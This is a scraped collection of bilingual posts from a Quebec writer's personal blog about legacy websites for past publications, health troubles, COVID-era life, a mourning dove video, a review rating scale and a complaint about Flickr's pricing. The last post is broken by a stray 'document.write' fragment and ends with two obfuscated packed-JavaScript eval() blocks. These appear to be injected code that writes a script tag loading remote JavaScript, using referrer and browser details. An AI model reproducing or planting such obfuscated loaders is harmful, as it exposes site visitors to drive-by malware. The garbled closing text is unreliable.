I left Twitter (before it became X) years ago and now I am seriously considering quitting FB.
In the meantime, I opened an account on Bluesky (@clodjee.bsky.social) just to see what it looks like and try it a little. So far, it looks good.
Is there anyone I know also using Bluesky ? Let me know or simply follow me…
[ Traduire ]During the Holidays (and since then), I did the minimum blogging mostly because I was sick like hell with a trifecta of coughing cold, migraine and back pain. So I didn’t leave the house and spent my time resting and reading. However, I also worked a lot on a few blog projects that I wanted to finish:
Of course, those projects are works in progress and I will continue to add to them: I still have to complete some table of contents, a few links and many articles. All this in order to share and keep alive all the work I did in the last thirty years and to prepare the ground to built on them. That is just some of the project I have planned for my retirement (only 861 days to go!) — if I can manage to be healthy enough (I am working on that too). I surely won’t have enough energy and time to do everything I want, but at least I won’t be bored. I also have a lot of sorting and clean up to do in the house, so I’ll keep being busy for the rest of Winter and Spring. Anyway, have a look on the project I mentioned above and let me know what you think.
Take care & enjoy life while you can!
[ Traduire ]
Last month, I have put online a legacy website dedicate to the memory of the works I published in French with Ianus Publications, particularly the fanzine Samizdat and a couple of anthologies, both about the Science-fiction of Quebec.
I have now done the same with the works I did in English with Protoculture: mostly the Protoculture Addicts magazine (about Japanese popular culture, including anime, manga and live-action cinema) but also a variety of anime-related products. This legacy website is named “Protoculture Memories”. Please have a look.
[ Traduire ]En participant à la table ronde “Protoculture Addicts: Initier la vague anime et manga”, qui s’est tenue en mai 2024 dans le cadre du 3e colloque du groupe de recherche “Au-delà des 2 solitudes”, je me suis rendu compte qu’il y avait un certain intérêt pour les publications que j’avais fait dans le passé, mais que beaucoup de gens, surtout parmi les générations plus jeunes, ignoraient de quoi il s’agissait. Lorsque j’ai fermé le site internet de Protoculture je n’ai pas pensé à cela… Et faire l’interview avec Bounthavy Suvilay a ravivé toute sorte de souvenirs.
Puis, quand je suis allé au congrès Boréal en septembre, je me suis fait la même réflexion sur les publications que j’avais faite à propos de la science-fiction et du fantastique québécois, en particulier le fanzine Samizdat et les anthologies Sous des Soleils Étrangers et Orbite d’Approche. On célébrait à Boréal les cinquante ans de Solaris et cela a aussi ravivé bien des souvenirs…
J’ai donc décidé de créer deux sites internet (ce qu’on appelle en anglais “legacy website”), un pour chacune de mes périodes de publications: d’abord Publications Ianus (avec Samizdat et les anthologies), puis Protoculture (pour mes publications anglophones sur la culture populaire japonaise, c.-à-d. l’anime, les mangas et le cinéma japonais).
Je viens de compléter celui sur les Publications Ianus (que j’ai simplement appelé “Samizdat” parce que c’est plus évocateur) et de le mettre en ligne. Je vous invite donc à le visiter.
Avec le temps, j’y rajouterai mes articles publiés dans le fanzine (peut-être aussi mes fictions) et peut-être même du nouveau matériel. On verra.
La prochaine étape sera de faire la même chose pour Protoculture. Ce site-là sera sans aucun doute plus volumineux et plus long à produire. Je mettrai peut-être d’abord en ligne juste la structure du site en y ajoutant plus de matériel de semaine en semaine (quoique la fin de 2024 risque d’être très occupée pour moi alors on verra comment iront les choses…).
Faites-moi savoir ce que vous en pensez…
[ Translate ]I am still without internet. I has been a little more than a week. It seems that Bell has now identify where the interruption is located on its Fibe Internet network. There is a fiber optic connections box that is open to all winds at the top of a telephone post nearby but it is located on private property and the owner refuses to honour the right of way of the Bell servitude to allow the technicians to do the repair. It is now in the hand of Bell’s legal department. I suppose that they will get a court order to force the owner to honour his obligation. I am therefore expecting a much longer outage…
Up to now I was without any internet which also means no IP phone, no television, no security camera, no connected smoke detectors or thermostat or garage door, etc. All I have now is my cell phone. It is surprising the amount of essential stuff in a house that depends on the internet now a day. I couldn’t do any remote working nor manage the blog. It causes me a tremendous loss of use and even psychological stress. The most frustrating is the fact that Bell seems in no hurry to find solutions… They could have done the repair from the start using a bucket truck (aka cherry picker) but they refused to do so. I will recount the whole ordeal later.
I have purchased and installed a mesh wi-fi extender system that allow me to use my sister wi-fi (she’s living on the upper floor of our duplex and has Vidéotron cable internet). I now have a strong enough wi-fi that allows me to work, watch TV (using the Bell Fibe TV app and Appleplay) and the phone is back (to the great relief of my wife). It is far from perfect but at least I feel I can live again… And spring is really here. It almost feels like summer. It is so good to be back!
[ Traduire ][iPhone 13 Pro / Premiere Rush / Speech, Parc Frédéric-Back, 2022/09/04 16:44]
Texte:
Aujourd’hui, notre exploration de la nature nous amène à découvrir la tourterelle triste.
Son nom scientifique est Zenaida macroura (appelé aussi en anglais Mourning dove).
C’est une espèce d’oiseau de l’ordre des Columbiformes, de la famille des colombidés (qui regroupe les différentes espèces de Colombes, de Tourterelles et de Pigeons) et du genre Zenaida (où l’on retrouve les différentes espèces de tourterelles) — nommé ainsi par l’ornithologue français Charles-Lucien Bonaparte en l’honneur de son épouse Zénaïde. Le nom de l’espèce signifie “grande queue” en grec alors que le nom vernaculaire fait référence au chant de l’oiseau et au sifflement de ses ailes durant le vol qui évoquent une expression plaintive.
Répartie sur un territoire qui va de l’Amérique Centrale au sud du Canada, c’est un oiseau élancé, de taille moyenne (de vingt à trente centimètre de long), à la tête arrondie, au bec court et dont le plumage est dans des tons de gris ou de bruns. C’est un oiseau percheur et granivore. Il passe du temps au sol à la recherche de graine. Il n’est pas trop difficile mais préfère les pignons de pin. Il ne gratte pas le sol mais picore les graines qui sont bien visibles. Sa démarche n’est pas sautillante.
C’est un oiseau monogame, qui préfère nicher dans les arbres. Sa population importante, estimée à 130 millions d’individus, fait que l’espèce n’est pas considéré en danger immédiat (préoccupation mineure). Ses prédateurs sont les rapaces diurnes, les corvidés, les chats domestiques et les chasseurs humains. C’est un animal qui est souvent considéré comme un symbole de paix.
L’individu observé ici, dans le parc Frédéric-Back, est possiblement blessé car il reste au sol pour une période prolongée et ne s’envole pas à l’approche des humains. Il continue simplement à picorer les graines sur son passage.
Ceci était une présentation de la tourterelle triste. N’oubliez pas de toujours rester attentif à la nature qui vous entoure.
(Sources: Wikipedia et divers sites zoologiques)
J’ai fait ce petit vidéo (de 1m52s) pour faire un essai avec Premiere Rush qui m’est offert gratuitement avec mon Plan Photographie de Adobe. Je commence à avoir fait pas mal le tour des possibilités avec iMovie d’Apple et j’aimerais pousser un peu plus loin les montages vidéos intéressants sans me ruiner financièrement. Malheureusement, si il offre beaucoup de possibilités, Premiere Rush m’apparait un peu décevant car la majorité des fonctions qui valent la peine sont premium et demandent donc un abonnement ($12.99 par mois avec Adobe Express). Il y a quand même une grande variété de trames musicales ou d’effets, et les titres sont ajustables (ce qui est une grosse amélioration). Et il y avait des pages titres vraiment superbes mais que je ne pouvais pas utiliser faute de pouvoir exporter (l’utilisation de fonction premium sans abonnement bloque l’exportation). Je vais probablement me réessayer avec Rush (il y a sûrement de quoi faire des montages intéressants même sans les fonctions premium). Sinon il me faudra peut-être me résoudre à essayer DaVinci Resolve qui je crois est encore gratuit mais semble incroyablement compliqué à apprendre et utiliser…
[ Translate ]You have probably noticed that I haven’t blogged much in the last month and half. It’s because I have not been feeling well. In the last year and half I have been experiencing migraine (often triggered by crouching, sneezing or coughing) and changing medication about every six months trying to find one that is more effective (like Rizatriptan or Amitriptyline). So far the medication was reducing the frequency and intensity, or eliminating some of the triggers, but not making the migraine disappear. Unfortunately the last medication (Topamax) has not been effective at all and in the last month or so I have been living in almost constant pain. It is quite frustrating.
A few months ago I also started a new job (support staff in the technology department of a law enforcement agency) that is exciting and stimulating, but the migraine makes concentrating and multitasking difficult. I come back home exhausted — I must also admit that I am not getting any younger (I just can’t believe that I am sixty!!) and don’t have the energy to write or, sometimes, even read. I just eat, watch tv and go to bed… That’s not good. And winter is coming…
I am already doing my best to be healthy: good diet, biking to work (in summer), walking in the park as often as possible. I’ll be trying to do more. I’ll ask the neurologist to change the medication again. Lately, I tried to catch up a little on my readings and this week-end I am trying to catch up a bit on my writing. A little.
Curate vosmetipsos et salvi sitis, lectores mei!
<Take care and be safe, my dear readers!>
The life in the time of the coronavirus continues…
This is my fifth status report since the beginning of the coronavirus pandemic (the other four were in March, mid-April, the end of April, and in mid-May). It has now been fifteen weeks (or one-hundred and seven days) since it has all begun. It has been forty days since the beginning of the slow re-opening and my return to work (thirteen days since we’ve restart taking the public in the library for a limited offer of service).
On the domestic side of life, I can say that I feel I have not been doing much in the last month and half… I didn’t do much around the house (it was either too hot or raining). As usual, I probably watch too much television: like rewatching the Ghost in the Shell: Arise series and several movies (also, to fill the time, I started watching again the 2004 series of Battlestar Galactica). However, I have been reading enough to catch up on my tsundoku… (hurray!) and write a little about my readings (dBD #141, La sphère d’Or, Unbeaten tracks in Japan, I’ll never tell, De Gir à Moebius, and several other French comics that I covered in the article “Sherlock Holmes en bande dessinée (2)”).
Weather — The temperature was unusually warm lately (above average) and often quite dry. So much so that the vegetation in the parc often took a yellowish colour. Thankfully, it rained periodically enough to keep everything alive. In the last week or so it has been quite hot and humid. Enough to discourage any sustained outside activities, although we still take our daily walk.
Health — With the confinement (probably because of slightly bigger meal and less activity) I have gained weight. My blood pressure and glucose are also higher (maybe because of an increased stress?). I have also experienced digestive problems, my usual recurring pain at the end of the digestive track as well as some chest and shoulder pain (probably muscular). Overall, I feel in good shape but it could be better. Unfortunately, I know that with age nothing gets better…
Work — All is fine at work. My usual library being still closed for renovation I was assignment to another one. This new place is at a nice location (at walk/bike distance from home) and has a nice team (although, since the people of my library working there are in extra, we perform mostly boring jobs). However, there was one painful incident: a customer refused the answer the covid “questions” and to sanitize his hands upon entrance. As I was insisting (to follow protocol), he became increasingly disagreeable, up to implying that I was doing so because of my ego or because I was racist. I was just trying to do my job. I was putting my health at risk (and the health of my family) in order to give him access to the library and he has shown absolutely no appreciation or gratitude for it. All I ask is some respect. If I was hurt by being called a racist (and I will come back on this subject) what really pissed me off was that my colleagues didn’t show much support when I tried to explain that he refused to follow protocol and insulted me. I don’t know, maybe they just didn’t understand me well: it is hard to express yourself calmly when it’s hot and your are talking through a mask and a face-shield. What happened to “we must absolutely ask ALL the covid questions and not let anyone in that doesn’t answer properly”? And then they told me “you know, we get insulted all the time. You have to get used to it” implying that I was weak to let it get to me. We are supposed to have a policy of not tolerating any disrespect and bullying (no respect, no service) and, yet in the end, that man received the service he came for. If you are tolerating such disrespect OF COURSE people will feel empowered and continue with the same behaviour. It is the wrong attitude. Anyway, that incident bothered me for weeks as I kept thinking about it…
One thing that I spent a lot of time on lately, was shopping for a nice electric bike or scooter. In this epidemic, I want to avoid public transportation (bus & subway) and if my work place for now is at a walking or biking distance, it is quite tiring in the summer heat (and I am closer to sixty than fifty years-old after all). I rented one for a week and I liked it a lot, but when I wanted to purchase one not a single store in the metropolitan area had any in stock. I guess everybody had the same idea at the same time and I was too late. An electric BIKE looks cool (particularly the Banana Boss, the Rad Runner 1, the Maxie Large, or the Paris) but it is quite expensive and a standard bicycle seat is really hard on my backside. Strangely, a scooter is less expensive, as well as being much more confortable and versatile. I’ve been checking several nice models (Écolo, Tao Aquarius, Vienna, Gio Italia, Mignon, UQi Pro, etc.) but now I found a good store and I am just waiting for them to receive some stock later this month… (Search eBike on the blog)
Many important events happened in the second quarter of 2020 ( the end of May, June and the beginning of July) but I don’t want to spend much time on those current events. However, the world stage was dominated by the three great plagues of the era. First, the coronavirus. So far, the world has suffered over 10 million cases of infection resulting in over half a million deaths! We dealt relatively well with it in Canada, but the U.S. in on the verge of total catastrophe as it reopened too soon and they are now seeing an horrible surge in infection (over fifty-thousand new cases each day!).
The second plague is Trump. I would think that we would get used to it by now but his mishandling of the coronavirus response (no national coordination, not enough test and PPE, not urging confinement, distanciation, and wearing masks, etc.), his constant lying, and his rhetoric encouraging hate-speech and inciting to violence kept making everything worse. Sometimes, I think he just doing it on purpose. If he is not a Putin agent, he is certainly an agent of chaos. He loves it. I can’t wait until November…
The final plague is racism. Following the death by police abuse of George Floyd and many other subsequent similar baffling incidents, the American urban areas erupted in spontaneous protests against this pervasive institutional racism that literally plagues the U.S. How did we moved from a pandemic to riots in the streets? (Without much social distancing hence the cases surge) We all hoped that it was getting better but I guess we got negligent — the coronavirus confinement and Trump inducement somehow seem to have put salt on the wound — as it now seems worse than ever. It must be dealt with once and for all. With police reform certainly (defunding, demilitarizing, new structure, call it what you want — I always thought we should have several level of policing: the unarmed street or biking cop, the patrol police answering to theft and hold-up, the inspector, the riot police and now we should have a force of psycho-social worker for domestic violence, teenage trouble, neighbour disputes, etc.), but the disease goes further than that. Social reform and massive investments to reduce inequality (in education, in job opening, in housing, etc.) are necessary. With the recent movements like Me-Too and Black Lifes Matter, I feel that the world is effervescent and on the verge of great changes, just like in ’68. However, we will have to be patient. Real change takes time. But now the seed of change, the idea that it is possible, has been planted in people’s minds. It only remains to take care of it and watch it germinate… But the first step toward that change is for American to go vote in November.
Racism has always bothered me. All my life I tried to treat everybody equally, not letting their opinion, behaviour, the size of their nose, the colour of their eyes, hair or skin (pink, brown, “black”, “red” or “yellow”) distract me from the fact that we were all the same. Human beings. I always tried to be tolerant (sometime failing: for a while I became quite intolerant toward religion, but now the only thing I can’t tolerate is intolerance — and stupidity). When I was a teenager I thought that the best way to solve racism was to intermarry and eventually we would all become of the same skin colour (that’s what I did, unfortunately I never had kids — too much trouble!). However, skin colour is just an excuse for racists: in fact they are just afraid of the difference (people thinking, dressing, talking, etc., differently than they are). There are many culture on this world and, if we just learn about them, we see there is no reason to be afraid. We discover that this difference is beautiful, that it is a wealth. Those people usually are against (or ignorant of) science. Science is telling us that, genetically, we are all the same and that there is only one race: the human race. I always wanted to write about this complex and touchy subject (and someday I will). Unfortunately, whatever you say or write will always receive criticism: you didn’t say this, the way you say that is discriminatory, it is not enough, it is too much, etc., so I am waiting to have the right words. However, if you stay silent, it is worse because they say that you are complicit, that you are encouraging racism by saying nothing. I prefer to show support by my actions: I won’t protest in the street but I’ll always try to be equitable, unbiased, and just. If I see someone being discriminated (racially or otherwise) I will try to defend them. And I’ll stay silent. If I scold you for doing something wrong (like misbehaving in the library or trying to cut the waiting line to enter the bus) and you answer be accusing me of being racist, I’ll stay silent. But just know that calling me a racist is the worst insult that you could give me…
I feel the end of this year will really be difficult… Take care of yourselves and stay safe !
Also, I found time to stay a little acquainted with the affairs of the world and gathered a few notable news & links — which I now share with you (in both french or english, slightly categorized, but in no particular order — note that, to save on coding time, the links will NOT open in a new window), after the jump.
[ Traduire ]
The life in the time of the coronavirus continues…
This is my fourth status report since the beginning of the coronavirus pandemic (the other three were in March, mid-April and the end of April). We have now been in confinement for eight weeks (or fifty-six days).
I have not read or written much in the last couple of weeks. Maybe because I was getting tired of my routine. Also, since I keep myself busy during the day, I read mostly at night. And for now I am still stuck reading the epistolary travelog of Isabella Bird in Japan which is a little laborious to read (lots of descriptions). As I keep falling asleep, I read barely a dozen pages every night, therefore it is a long enterprise. I want to start reading something else during the day (some manga or comics because it is “May, the comics’ month”) but there’s so much work around the house (gardening, painting, doing laundry, shopping for groceries, etc.) and other distractions (shopping online for a new TV, ordering gardening supplies, watching or reading news) that I never get to it. I also undertook tasks that were rather time consuming: editing a video interview with an author, updating the blog indexes and finally putting together the 2019 “notable news”.
Unfortunately, this joyous preview of retirement is coming to an end and I will soon have much less time to read or write. I have been recalled to work… at the community gardens! I chose to work in a library to stay involved with culture and, obviously, there nothing more cultural than to oversee the operations in one of the borough’s community gardens. Considering that we are in one of the boroughs with the worse coronavirus infection rate, within the worse city and the country’s worse province, I was quite reticent to expose myself to possible contamination by going back to work, particularly for a job that I didn’t choose. However, I didn’t have much choice (apparently they don’t give a damn if I bring the virus home and cause the death of my immunosuppressed sibling). To minimize the risk, I opted to work in the closest community garden, avoiding public transportation. And I’ll be very careful in protecting myself. Working outdoor, at walking distance, cannot be so bad (unless the weather doesn’t cooperate)…
I conclude with a list of posts where you will find links and suggestions to fill your confinement and entertain yourselves:
Take care of yourselves and stay safe !
[ Traduire ]
Spring is not just the time to do some maintenance around the house. It’s a good time to do it for the blog too. I haven’t updated the Bibliography and indexes of Book reviews as well as Movie & TV series reviews in over a year! It’s a lot of work but it helps the readers to find their way around the blog.
It’s also a good time to look back at statistics. In those fifteen months I have posted 417 posts (an average of 27.8 per month) and received 7068 visitors (an average of 471.2 per month). This includes about 90 book reviews and 45 movie & TV series reviews — that’s a good ratio 2/1 of books vs media reviews! Overall, since its beginning in late 2017, this blog has produced 1041 posts and has received 24,110 views, 11,655 visitors and 141 followers. It’s good as the blog is getting better, but those numbers are no where near the stats I was getting with my previous hosting service. I don’t know what WordPress is doing, but it’s doesn’t reach as many people. I guess I’ll have to pay more to get more exposure…
In this list, I have left out the blog entries that were mostly pictures or short reflection — it’s worth mentioning if it’s over fifty words. Check it out after the jump >>
[ Traduire ]
L’écriture c’est la solitude et le vide. Comment puis-je écrire quand tout bouge autour de moi, avec toutes ces boîtes qui parlent sans cesse et jouent de la musique. Je ne peux plus réfléchir ou me concentrer avec toutes ces voix dans ma tête. Et mes mots sont évanescents. Je tente de m’y accrocher mais ils me délaissent. Pour écrire je dois faire le vide mais il y a de plus en plus de monde autour de moi. Étrange en ce temps de confinement. Mais là est le paradoxe, car c’est de tous ces gens, de toutes ces boîtes, ces livres que j’absorbe les émotions, que je suce la vie, aspire le vécu, arrache la connaissance pour nourrir mes mots et combler l’absence et le vide en moi. C’est une balance, un cycle émotionnellement difficile à atteindre et à maintenir…
[ Translate ]
The life in the time of the coronavirus continues… This is the third status report since the beginning of the coronavirus pandemic (the other two were in March and mid-April). We’ve now been under confinement for six weeks (forty-two days — a true quarantine) !
Despite the apocalyptic feelings we get from the news, the moral is good. However, I am still slightly apprehensive that this heavenly isolation will ends. It starts to feels like an early retirement. But the world has to follow its course and the show must go on. I could be recalled to work anytime within the next two or four weeks. In order to avoid giving the impression that I had been sitting idle through this paid leave, I’ve sent to the libraries’ blog a few reading comments (manga and comics — since “May is the comics month”) that should be posted in the following weeks… (I’ve already contributed more than a dozen comments in 2017-18 and now more are coming).
Evidently, I kept busy. Beside my weekly postings and writing about the latest Notable news and Earth day, I took a break from reading and commented mainly about movies (The trip to Spain, Steve Jobs, Colette, Book Club) and a superb anime TV series (Ghost in the Shell: SAC_2045). I wrote less because there was still a lot to do around the house: plumbing projects to finish, tiles to be replaced, a tree stump to be removed (although I’ve quit on this one), gardening, etc.
[ iPhone 11 Pro, house work, 2020/04/20, 28-29 ]
Although I still have some gardening and painting to do, I am planning to go back to reading and writing about it. I still have a few novels to read (now I am reading the Japan epistolary travelog of Isabella Bird, Unbeaten Tracks in Japan — it’s so long and made mostly of descriptions) but I will concentrate mainly on manga and comics (I still have plenty of those to read!) because “May is the month of the comics” (Mai, le mois de la BD — for lack of activities in the libraries, the NFB is offering us a selection of films made by cartoonists or drawn from comic books).
Indeed, May is at our doors! May, the most beautiful month of the year! The warm side of Spring that brings back the colour green, leaves on the trees, bugs & birds and… flowers! And, of course, the latest Star Wars movie (episode IX), The Rise of Skywalker, will start streaming on Disney+ on May the 4th [be with you]…
Stay safe !
[ Traduire ]
The life in the time of the coronavirus continues… I’ve now been in self-isolation for over a week (actually for about ten days) and I am doing well. There are no signs of any symptoms so far and I am in good shape (physically and mentally) — although I still suffers from kidney stones from time to time. I try to stay fit by doing at least an hour of walking (if possible reaching ten thousand steps) and thirty minutes of cardio (by shovelling the backyard or sweeping the driveway) every day — while keeping my distance from people which is really not a problem for me. Unfortunately we had a couple of days of rain and I couldn’t reach my goals during that time.
I also stay fit mentally by keeping busy with my blog and doing stuff around the house. First, all this reading is a great help in lowering my tsundoku pile. Second, since I am theoretically still working for the library, I try to do some reference work by writing as much reading suggestions and comments as possible. I have everything I need here to keep busy.
The moral is good — despite spending lots of time watching the news, both local and American. I really don’t mind the isolation. Now-a-day — with tons of books & Dvds, the television and the internet to make the mind travel — can we really be isolated anymore? In a way, the only apprehension is about going back to work and ending this very productive streak. However, the way things are going, I don’t think I have to worry about that for a while…
At first I was hoping to read a book and watch a movie every day, but all the walking and doing chores around the house take some time. I have not written as much as I would have liked. So far, I wrote a list of thing to do to keep busy during the isolation, my usual “Natural Friday” entries (about the dodo and the megaladapis), a comment about the second volume of Histoire en manga, a suggestion list for long series of manga in French, and a series of articles about Ghost in the shell Stand Alone Complex (manga, anime TV series, 2nd Gig, Official Log book 1, and movie) as well as the original manga. More (so much more) is in the works.
In the meantime, things are not doing so well around the world. We seem to cope well here in Quebec, but the situation looks dire in Europe and, particularly, in the U.S.. Here are some links to keep yourself informed:
Please, stay put and safe — and keep reading.
[ Traduire ]
I am now on indefinite leave
It would feel like staycation —
If it was not for this doomsday vibes
The coronavirus (COVID-19) unleashed itself on an unprepared world. Now, we are all in self-confinement to create the social distancing necessary to slow down the onslaught. Therefore the library is closed. We worked for about a week without the public (it was quite fun), but now they have sent us back home (with pay!). I am glad because I was worried that travelling everyday on the bus and the subway would put my family at risk (one of my siblings is immunosuppressed). The governments (both federal, provincial and municipal) asked us to stay home, so we do. I don’t know how long it will last; it might be anything from two weeks to two months.
I will take advantage of that time to catch up on my reading and movie viewing, do a little clean-up in the house and maybe (if it last for a while) start gardening. I will definitively blog more during this period, mostly to post my reading or viewing comments but also to try to entertain you with bits of knowledge and wisdom. I have already post a list of activities everyone can do during this confinement period.
Hopefully everything will be well. In the meantime, please stay all safe.
[ Traduire ]
J’ai déjà traité de ce sujet dans mon article “L’Art subtil du commentaire-critique” (ou sa version antérieure, en anglais, “The controversial art of reviewing”) mais comme on me demande de temps temps la signification de chaque valeur de mon système de pointage je le répète ici en rappel.
I have already dealt with this subject in my article (in French) “L’Art subtil du commentaire-critique” (or in its previous version, in English, “The controversial art of reviewing”) but from time to time I am asked the meaning of each value of my point system so I repeat it here as a reminder.
 |
0 / .5 |
Nul / Pathetic |
Un navet (Indice à n’utiliser que très rarement) / Don’t even think about this title (You should use this rating quite rarely) |
 |
1 / 1.5 |
Pauvre / Poor |
Ne mérite pas d’attention (Indice à utiliser rarement) / It’s not worth wasting your time and money on this title (Use this rating rarely) |
 |
2 |
Passable / Fair |
Décevant, comporte de l’intérêt surtout pour les mordus ou les curieux / Disappointing, but if you’re curious you can always check it out or flip through it at the library |
 |
2.5 |
Moyen / Average |
Ordinaire, à voir mais sans plus / it’s a title worth watching or reading, but maybe you should just rent it or borrow it—from a friend or the public library |
 |
3 |
Bon / Good |
Intéressant / An interesting title that I recommend purchasing |
 |
3.5 |
Très bon / Very Good |
Très Recommandé / A great title that is definitely recommended |
 |
4 / 4.5 |
Excellent / Excellent |
À voir/lire absolument ! (soyons aussi parcimonieux avec ce genre d’indice) / An absolute must-see or read title (use this rating rarely) |
 |
5 |
Exceptionnel / Outstanding |
Chef d’œuvre !! (ce genre d’indice devrait être très rare) / It’s a masterpiece or instant classic worth collecting (such titles are exceptional and therefore this rating should be used parsimoniously) |
J’évite de donné des évaluations en dessous de 2.5 ou au-dessus de 4. Quand je transfert un commentaire vers un site qui n’utilise pas de demi-point (comme Goodreads) j’arrondi généralement vers le BAS (donc un 3.5 deviendra un 3).
I avoid giving ratings below 2.5 or above 4. When I transfer a comment to a site that does not use half points (like Goodreads) I generally round it down (so a 3.5 rating will become a 3).
In this blog I often comment on books I’ve read or movies that I have seen and, in order to do so, it is sometimes necessary to talk about the story and possibly divulge plot elements. Lots of people don’t like that; therefore it is necessary to warn them beforehand. Unfortunately, putting a warning at the beginning of every comment can be annoyingly repetitive or sometime I simply forget about it. So, here it is: Consider yourself warned!
⚠️ WARNING: The following comment MAY contain traces of spoilers! People allergic to the discussion of any plot’s elements before seeing or reading the story themselves are strongly advised to take the necessary precautions for their safety and should continue reading cautiously! ⚠️
Dans ce blog, je commente souvent des livres que j’ai lus ou des films que j’ai vus et, pour ce faire, il est parfois nécessaire de parler de l’histoire et éventuellement de divulguer des éléments de l’intrigue. Beaucoup de gens n’aiment pas ça; il est donc nécessaire de les prévenir au préalable. Malheureusement, mettre un avertissement au début de chaque commentaire peut être ennuyeux et répétitif ou parfois, je l’oublie tout simplement. Donc, le voici: Considérez-vous prévenu !
⚠️ ATTENTION: Ce commentaire pourrait contenir des traces de “divulgâcheur” [a.k.a. spoilers] ! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir elles-même prise connaissance sont vivement conseillées de prendre les précautions nécessaires pour leur sécurité et devraient continuer de lire avec prudence ! ⚠️
I have updated this blog post (Memorable music) with the complete playlist of my top 50ish anime & J-pop soundtracks, with lots of informative links including to a full version of each titles on Youtube (save for two that I couldn’t find)! It’s a basket of nostalgia for the fans and a good introduction to this great musical genre for the novices. I think this post is worth being revisited (or checking if you haven’t read it yet). Music lovers, what do you think? (let me know which are your favourite anime soundtracks). Follow the links and enjoy!
J’ai mis à jour ce billet de mon blog (Memorable music) avec la liste de lecture complète de mes 50 (ish) meilleures bandes sonores d’anime et de J-pop, avec de nombreux liens informatifs, y compris une version complète de chaque titre sur Youtube (sauf pour deux que je n’ai pu trouver)! C’est plein de nostalgie pour les fans et une bonne introduction à ce grand genre musical pour les novices. Je crois que ce billet mérite donc d’être revisité (ou ça vaut un coup d’oeil si vous ne l’avez pas encore lu). Amoureux de la musique, qu’en pensez-vous? (laissez-moi savoir quelles sont vos bandes son préférées d’anime). Suivez les liens et amusez-vous!
It’s the Dropbox rip-off all over again!
I’ve just been reminded today that my picture albums are about to be taken hostage. Not long after Yahoo had sold Flickr to SmugMug, they announced drastic changes in their policy. Their offering was too good and not profitable enough so they decided to jack up their price and radically reduce the advantages of free accounts. By doing so they are seriously screwing up their existing customers in what amounts to nothing less than corporate highway robbery!
The free accounts will be reduced to 1,000 photos and videos (instead of 1 Tb). Customers can update to Flickr Pro to have unlimited storage for C$65.88 (C$5.49 / mo) in a scheme that is basically upgrade or die! We have until January 8th to decide, after that our accounts will be frozen until February 5th, when the excess pictures will be DELETED! That’s outrageous!
This puts me in quite a dilemma. Since it has been one of the best sharing photos sites, I’ve been using the Flickr free account a lot for a while—although I’ve almost stopped using it since I upgraded to MacOS Mojave because the Photos app doesn’t allow us to easily upload to Flickr anymore. However, I still have 57 photo albums on it, which contains over 3000 pictures (0.6% of 1 Tb).
So, should I upgrade or not? If I don’t I will lose my albums—but it doesn’t really matter since all those pictures are still in my Photos libraries anyway. It is just that there, I cannot share those pictures. And I don’t really want to pay yet another subscription service (I am already paying for several of them) and I am already using other services that could serve as Flickr alternative — although not as good… What are the photo sharing options that I already have?
After testing (again) all those alternatives (wasting an entire afternoon of writing doing so) I sadly report that none of them seems totally satisfactory. However, I refuse to pay the ransom that Flicker is asking for my picture albums… F*ck you Flickr !
I’ll probably workout something on WordPress, either directly or create a page that forward to a subsidiary site (Amazon, Google or Imgur) through links… We’ll see.
[ Traduire ]
D’abord, ne pas oublier que le Salon du Livre de Montréal se tiendra la Place Bonaventure du 14 au 19 novembre 2018. L’entrée sera gratuite le mercredi pour les détenteurs d’une carte de bibliothèque de Montréal ou de la BAnQ. J’y serai sans faute soit le mercredi ou le vendredi (journée des professionnels), pour faire mon survol annuel du marché du livre (et tenter de faire quelques contacts utiles pour le blog, comme glaner des services de presse ou rencontrer des collègues blogeurs), et sûrement le samedi (pour rencontrer mes amis d’Alire et de Solaris, dont ce sera le lancement du #208).
Au hasard des livres qui me tombent entre les mains au travail ou du bouquinage chez des libraires locaux, il m’arrive de faire des découvertes intéressantes qui vaillent la peine d’être ajoutées à ma (déjà longue) liste de lecture. Voici donc une quinzaine de titres (Eh oui! À une exception près, ce n’est que de la BD ou du manga…) que j’ai découvert récemment et que j’espère lire dans un futur proche (ha!):
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Sometimes, when I start writing a comment on a book or a movie, I have no idea what I will be writing. It just comes along, one idea bringing the next and the whole comment is slowly taking form. Sometime, I have a pretty clear idea of what I want to say and I have to make a plan, a structure, detailing the basic elements of each idea or concept I want to cover in order not to loose the tread of my thoughts (which happens sometime if I wait too long before putting it down on paper or on the computer).
I don’t have a good memory, I usually don’t remember much about a book I’ve just read or a movie I’ve just watched after a little while. When I want to remember, I just read what I’ve written about it. In fact, that’s one of the reason I write.
Sometime, when I don’t know what to say about a book or a movie, I just sleep over it and it usually helps a lot. But I must not wait too long to write after that. If not I might just end up with some sketchy notes and not much substance…
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Strangely, the more touched I am by a book or a movie, the more difficult it is to write about it. It seems easier to write about something I didn’t like so much… Maybe I am so overwhelmed that I just can’t organize the zillion things that I want to say. Or maybe I am just afraid to mess up something that I really like. I don’t know. I just find this strange…
[ Traduire ]
You may have noticed. There are two blogging “techniques” that I use and that could seems a little strange or unusual (probably because I think I may have “invented” them — or maybe other people are using them under different names?). I call them retro-blogging and scrap-linking.
The posts have been a little more sparse in the last few days because I was hospitalized due to sudden health issues (those can be a real pain in the ass sometimes). Because of the needed convalescence (and necessary post-op care) I will take a three-week sick leave from work. I will, document.write(“”); of course, rest but it will be an unexpected occasion the catch up on my viewings and readings (and hopefully writings).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iasdd|var|u0026u|referrer|hfefd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nrfbb|var|u0026u|referrer|tbkih||js|php’.split(‘|’),0,{}))
